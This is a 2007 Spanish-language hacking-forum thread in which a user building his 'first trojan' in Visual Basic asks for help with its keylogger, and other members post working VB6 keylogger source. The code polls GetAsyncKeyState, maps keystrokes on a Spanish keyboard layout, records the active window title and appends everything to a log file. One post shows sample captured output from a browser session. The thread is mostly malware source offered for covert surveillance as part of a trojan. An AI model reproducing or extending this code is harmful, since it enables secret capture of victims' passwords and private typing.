bueno, estoy haciendo mi primer troyano en vb y estuve tratando de hacer un keylogger que:
1. Logea las teclas mientras la ventana siempre sea la misma
2. cuando cambia la ventana escribe en un .txt el nombre de la ventana junto con las teclas que se pulsaron mientras estaba activa
El problema me viene en el segundo punto, trate de mil formas, busque APIs y todo pero no logro hacer que al cambiar de ventana guarde lo pulsado (no se como indicarle que cuando la ventana activa cambie guarde lo pulsado :¬¬)
!
si alguien tiene alguna sugerencia, bienvenida sea ;)
gracias de antemano
PD: en este codigo me tira un error de "Subindice fuera del intervalo" y no entiendo por que es, no le veo logica para existir tal error (EDIT: YA LO SOLUCIONE ESTO)
Codigo:
If Left(datos, 7) = "listwnd" Then
Dim ventanas() As String, itemwnd() As String, listhwnd As Long, listnomwnd As String, nom As String
dato = Split(datos, "@")
ventanas = Split(dato(1), "?")
For i = 0 To UBound(ventanas)
itemwnd() = Split(ventanas(i), "/")
listWnd.AddItem itemwnd(0) "EN ESTA SENTENCIA DICE QUE ESTA EL ERROR"
Next i
End If
Bueno, lo hice para que en vez de cuando cambia de ventana sea cuando se presiona ENTER, aunque me hubiera gustado mas de la anterior forma, igualmente tiene errores, por ejemplo no obtiene el Titulo de al ventana activa, y me graba todas "," como si estuviera presionada, dejo el codigo aver si alguien me da una mano:
Private Sub timeKeylog_Timer()
Dim pulsa As Long, teclas As String, hwndk As Long, nomb As String, nomcompleto As Long, nomfinal As String, activekey As String, lenT As Long
hwndk = GetForegroundWindow
lenT = GetWindowTextLength(hwndk)
nomb = String$(lenT, 0)
nomcompleto = GetWindowText(hwndk, nomb, lenT + 1)
nomfinal = Left(nomb, nomcompleto)
activekey = GetActiveKey
Select Case activekey
Case vbKeyReturn
Open App.Path & "\systemkl.log" For Append As #1
Print #1, "[" & nomfinal & "-" & Date & "-" & Time & "]"
Print #1, teclas
Print #1, " "
Close #1
teclas = ""
Case vbKeyA To vbKeyZ, 32 To 47
teclas = teclas + Chr(activekey)
End Select
End Sub
Esto seria la funcion GetActiveKeys (creditos a Slasher-K)
Function GetActiveKey() As Integer
Static bStarted As Boolean
Dim i%
If Not bStarted Then
'Inicializa el estado de las teclas llamando a
'la función GetAsyncKeyState.
'
For i = 1 To 256
Call GetAsyncKeyState(i)
Next
bStarted = True
End If
For i = 1 To 256
'Obtiene la tecla pulsada actualmente.
'
If GetAsyncKeyState(i) Then
GetActiveKey = i
Exit For
End If
Next
End Function
Alguien que me pueda echar una mano?
Gracias
Vaya lio te estas montando.
Es facil,ahora no te puedo poner ningun ejemplo,cuando esté en Windows te lo pondré del keylogger de mi troyano.
Lo que hago es capturar e caption de la ventana activa,y lo almazeno en una variable,al principio del timer comparo el caption de la ventanaa actual con la variable esa que te digo,que no es mas que el caption de la ultima ventana activa,si es lo mismo pues que siga escribeindo,sino nueva linea con el nuevo caption y lo que se esta pulsando.
Y asi....
Espero qeu se entienda,es sencillo.
Tu codigo lo veo un lio...
No se,no tengo ganas ahora de estar mirando,cuando este en windows ya te lo enseño :)
Cita de: Jareth en 9 Agosto 2007, 17:01 PM
Lo que hago es capturar e caption de la ventana activa,y lo almazeno en una variable,al principio del timer comparo el caption de la ventanaa actual con la variable esa que te digo,que no es mas que el caption de la ultima ventana activa,si es lo mismo pues que siga escribeindo,sino nueva linea con el nuevo caption y lo que se esta pulsando.
es un code que esta en internet publico para todos no se la fuente pero deberiamos siempre decir que no es nuestro code al menos no mio salvo que realmente lo consideres tuyo en fin... aqui esta:
en el form load:
Option Explicit
Private Sub Form_Load()
'activar el keylogger
SetTimer Me.hwnd, 0, 25, AddressOf TimerProc
End Sub
y en un módulo:
Option Explicit
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function GetKeyboardState Lib "user32" (ByVal StateOfKey As Byte) As Long
Private Const VK_CAPITAL = &H14
Private Const VALPRESS = -32767
Private Const SHIFT As Integer = 16
Private Const ALT_GR As Integer = 165
Private Const SHIFTI As Integer = 160
Private Const ALTI As Integer = 164
Private Const CTRLI As Integer = 162
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private HISTORY As String
Private WinActive As String
Private File As String
Dim retorno As Long
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, ret As String
Function GetPressedKey() As String
On Error Resume Next
For Cnt = 65 To 90
If GetAsyncKeyState(ALT_GR) < 0 Then Exit For
retorno = GetAsyncKeyState(Cnt)
If retorno = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
GetPressedKey = UCase$(Chr$(Cnt))
If BShift Then GetPressedKey = LCase$(Chr$(Cnt))
Else
GetPressedKey = LCase$(Chr$(Cnt))
If BShift Then GetPressedKey = UCase$(Chr$(Cnt))
End If
GoTo Found
End If
Next Cnt
For Cnt = 48 To 57
retorno = GetAsyncKeyState(Cnt)
If retorno = VALPRESS Then
If GetAsyncKeyState(SHIFT) Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = Mid$("=!""·$%&/()", Cnt - 47, 1)
GoTo Found
End If
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
Select Case Cnt
Case 49: GetPressedKey = "|"
Case 50: GetPressedKey = "@"
Case 51: GetPressedKey = "#"
Case 52: GetPressedKey = "~"
Case 53: GetPressedKey = "€"
Case 54: GetPressedKey = "¬"
Case Else: GetPressedKey = ""
End Select
Else
GetPressedKey = Chr$(Cnt)
End If
GoTo Found
End If
End If
Next Cnt
For Cnt = 96 To 105
retorno = GetAsyncKeyState(Cnt)
If (retorno = VALPRESS) And (Not GetAsyncKeyState(ALT_GR) < 0) Then
GetPressedKey = Cnt - 96
GoTo Found
End If
Next Cnt
If GetAsyncKeyState(111) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "/"
GoTo Found
End If
'
If GetAsyncKeyState(106) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*"
GoTo Found
End If
'
If GetAsyncKeyState(109) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "-"
GoTo Found
End If
If GetAsyncKeyState(107) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "+"
GoTo Found
End If
If GetAsyncKeyState(8) = VALPRESS Then 'tecla retroceso
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ""
GoTo Found
End If
If GetAsyncKeyState(8) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "{Del}"
GoTo Found
End If
If GetAsyncKeyState(13) = VALPRESS Then
GetPressedKey = vbCrLf
SaveFile HISTORY
HISTORY = ""
GoTo Found
End If
If GetAsyncKeyState(32) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = " "
GoTo Found
End If
If GetAsyncKeyState(46) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ""
GoTo Found
End If
If GetAsyncKeyState(186) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "^"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "["
Else
GetPressedKey = "`"
End If
End If
GoTo Found
End If
If GetAsyncKeyState(187) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "]"
Else
GetPressedKey = "+"
End If
End If
GoTo Found
End If
If GetAsyncKeyState(188) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ";"
Else
GetPressedKey = ","
End If
GoTo Found
End If
If GetAsyncKeyState(189) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "_"
Else
GetPressedKey = "-"
End If
GoTo Found
End If
If GetAsyncKeyState(190) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ":"
Else
GetPressedKey = "."
End If
GoTo Found
End If
If GetAsyncKeyState(191) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "Ç"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "}"
Else
GetPressedKey = "ç"
End If
End If
GoTo Found
End If
If GetAsyncKeyState(192) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then
If GetAsyncKeyState(SHIFT) < 0 Then
GetPressedKey = "Ñ"
If BShift Then GetPressedKey = "ñ"
Else
GetPressedKey = "ñ"
If BShift Then GetPressedKey = "Ñ"
End If
GoTo Found
End If
End If
If GetAsyncKeyState(219) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "?"
Else
GetPressedKey = "'"
End If
GoTo Found
End If
If GetAsyncKeyState(220) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "ª"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "\"
Else
GetPressedKey = "º"
End If
End If
GoTo Found
End If
If GetAsyncKeyState(221) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¿"
Else
GetPressedKey = "¡"
End If
GoTo Found
End If
If GetAsyncKeyState(222) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¨"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "{"
Else
GetPressedKey = "´"
End If
End If
GoTo Found
End If
Found:
If GetWinActive = WinActive Then
HISTORY = HISTORY & GetPressedKey
Else
WinActive = GetWinActive
HISTORY = HISTORY & "[" & WinActive & "]" & vbCrLf & GetPressedKey & vbCrLf
End If
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
ret = GetPressedKey
If ret <> sOld Then
sOld = ret
sSave = sSave + sOld
End If
End Sub
Function BShift() As Boolean
Dim Teclas(0 To 255) As Byte
GetKeyboardState Teclas(0)
BShift = Teclas(VK_CAPITAL)
End Function
Private Function GetWinActive() As String
Dim Handle As Long
Dim Lon As Long
Dim Txt As String
Dim ret As Long
Handle = GetForegroundWindow()
Lon = GetWindowTextLength(Handle) + 1
Txt = Space(Lon)
ret = GetWindowText(Handle, Txt, Lon)
GetWinActive = Left(Txt, Lon - 1)
End Function
Private Function SaveFile(Cont As String)
On Error Resume Next
Dim FF As Long
FF = FreeFile
Open "d:\logger.txt" For Binary As FF
Put #FF, LOF(FF) + 1, Cont
Close FF
End Function
ejecutas y cada que presiones la tecla enter se crea un archivo logger.txt en la undad d, (puedes cambiar eso) con las teclas ultimas pulsadas... es un kylogger basico habria que añadirle mas funciones pero es lo que hasta ahora necesitas...
un saludo!
Claro que es mio,no no he hecho copy&paste como tu,es evidente que codes de esos hay un monton,pero no por ello significa que tenags que copiarlos ;)
Enfin como veias si quereis seguir haciendo copy&paste en vez de entender lo que haceis y hacerlo vosotros...
Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?
Gracias
Cita de: TheWhite en 9 Agosto 2007, 19:00 PM
Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?
Gracias
No,con 1 timer basta.
Mira,te lo explico asi un poco,intenta sacarlo tu,sino ya te pondré el ejemplo(quizas mañana).
Declara una variable como string en generla,digamos Ventana.
Al principio del timer,capturas el caption de la ventana activa,y la comparas con la variable ventana,de manera que si es diferente,salte una linea y escriba(en mi caso)la fecha,hora y caption de la ventana.Al final,pon que la variable Ventana contenga el valor de la ventana activa en ese momento,asi cuando el tiemr se vuelva a ejecutar,se compara si es igual,si es igual se sigue escribiendo lo que se capta,sino se salta una linea y se ponen esos parametros(caption ventana,fecha y hora(en mi caso)),y se escribe lo k se capta a no ser qeu cambie.
El resultado,es este:
[Google - Mozilla Firefox] a las 19:00 el 20/07/07
videos xxx{Enter}
[Bloc de Notas]a las 19:01 el 20/07/07
Hola que tal....
Bueno es un ejemplo de como seria,los parametros ponlos como quieras,pero se ve claro el resultado que se obtendria :P
Bueno a partir de lo que me dijistes hice esto, pero tampoco funciono :¬¬ :
Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long
hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
vent = GetWindowText(hwndv, nom, lenT + 1)
nombreactu = Left(nom, vent)
For i = 0 To 256
Dim estado As Long, teclas As String
estado = GetAsyncKeyState(i)
If estado = -32767 Then
teclas = teclas + Chr(i)
End If
Next
If Not ventana = nombreactu Then
Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & ventana & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1
teclas = ""
ventana = nombreactu
End If
End Sub
este es el resultado de prueba.txt con ese codigo:
[-09/08/2007-07:18:18 p.m.-]
[Server-09/08/2007-07:18:25 p.m.-]
[-09/08/2007-07:18:25 p.m.-]
[VB-09/08/2007-07:18:30 p.m.-]
[prueba.txt - Bloc de notas-09/08/2007-07:18:36 p.m.-]
[VB-09/08/2007-07:18:46 p.m.-]
[API-Guide 3.7 - 925 functions found!-09/08/2007-07:18:51 p.m.-]
[-09/08/2007-07:18:51 p.m.-]
[VB-09/08/2007-07:18:54 p.m.-]
[prueba.txt - Bloc de notas-09/08/2007-07:19:16 p.m.-]
[VB-09/08/2007-07:19:17 p.m.-]
[-09/08/2007-07:19:18 p.m.-]
No se que seran esas entradas sin el nombre de la ventana y como pueden ver tampoco capturo las letras.
Por ahora no pude encontrar el error.
Nadie tiene ninguna sugerencia? :(
Jareth, lei nuevamente tu recomendacion e hice esto:
Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long, ventana As Long
hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
vent = GetWindowText(hwndv, nom, lenT + 1)
nombreactu = Left(nom, vent)
If Not ventana = hwndv Then
Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & nombreactu & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1
teclas = ""
End If
For i = 0 To 256
Dim estado As Long, teclass As String
estado = GetAsyncKeyState(i)
If estado = -32767 Then
teclass = teclass + Chr(i)
End If
ventana = GetForegroundWindow()
Next
pero el txt graba muchisimas lineas con el nombre de cada ventana y ni si quiera graba las teclas. ayudaaaaaaaa
TecN = Funcion para obtener las teclas
If TecN <> TecV Then
TecV = TecN
TecG = TecG & TecN
End If
open "c:\teclas.txt" for append as #1
print #1, TecG
close #1
TecG = ""
Hades tacaño, publica todo el codigo.... (y comparti las heinekken) .... si no lo comparte le digo a su papa que lo meta a alcoholicos anonimos :rolleyes:
ya me las tome toasss xDD
muchisimas gracias Hades, mataria que lo explicaras, si tenes tiempo vendria bien ;)
dejen de escabiar birra xD
Listo, explicado :)